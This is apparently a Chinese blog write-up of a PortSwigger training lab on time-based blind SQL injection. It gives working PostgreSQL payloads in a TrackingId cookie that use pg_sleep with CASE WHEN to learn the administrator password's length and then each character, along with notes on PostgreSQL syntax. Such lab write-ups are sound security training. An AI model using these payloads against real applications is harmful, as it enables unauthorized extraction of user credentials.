#Burp学院-基于时间盲注的练习
转载请注明出处:https://youngrichog.github.io/**
描述
由于最近准备换工作,就开始温习应用安全相关的知识,看看能否从以前的知识里面温习到一些新的想法,虽然以前的东西很基础,但难免也会忘记掉,在找找以前的感觉。
实验地址
https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval
目标:获取administrator的密码,并且成功登录后台
流程
进行延时,方式方法还是蛮多的,随便写了几个
1 | 1. |
判断administrator的密码长度,最终长度为20
1 | Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and length(password)>10)) THEN pg_sleep(10) ELSE pg_sleep(0) END --'; |
批量跑一下$a\$,截取字符串,最终获取到密码
1 | Cookie: TrackingId=x'||CASE WHEN (123=(select 123 from users where username='administrator' and substring(password,1,1)='$a$')) THEN pg_sleep(10) ELSE pg_sleep(0) END --' |
思考
1.在做这个实验的时候,纠结到了一个点,为什么下面的语法是不能执行的
1 | Cookie: TrackingId=x' and pg_sleep(10)--; |
后面发现是由于PostgreSQL语法 and后面必须为布尔类型,后面直接改为
1 | Cookie: TrackingId=x' and 123=(select 123 from pg_sleep(10))--; |
2.PostgreSQL || 的作用为连接符,如果以其他数据库来看,||的作用是逻辑运算符。所以该语句是正确执行的
1 | Cookie: TrackingId=x'||pg_sleep(10)--; |
例子:select ‘123’ || 3+1,输出为1234,前面只要不为null,返回就不会是null;
最后
温故而知新确实不错,推荐一个在线SQL语句执行的地方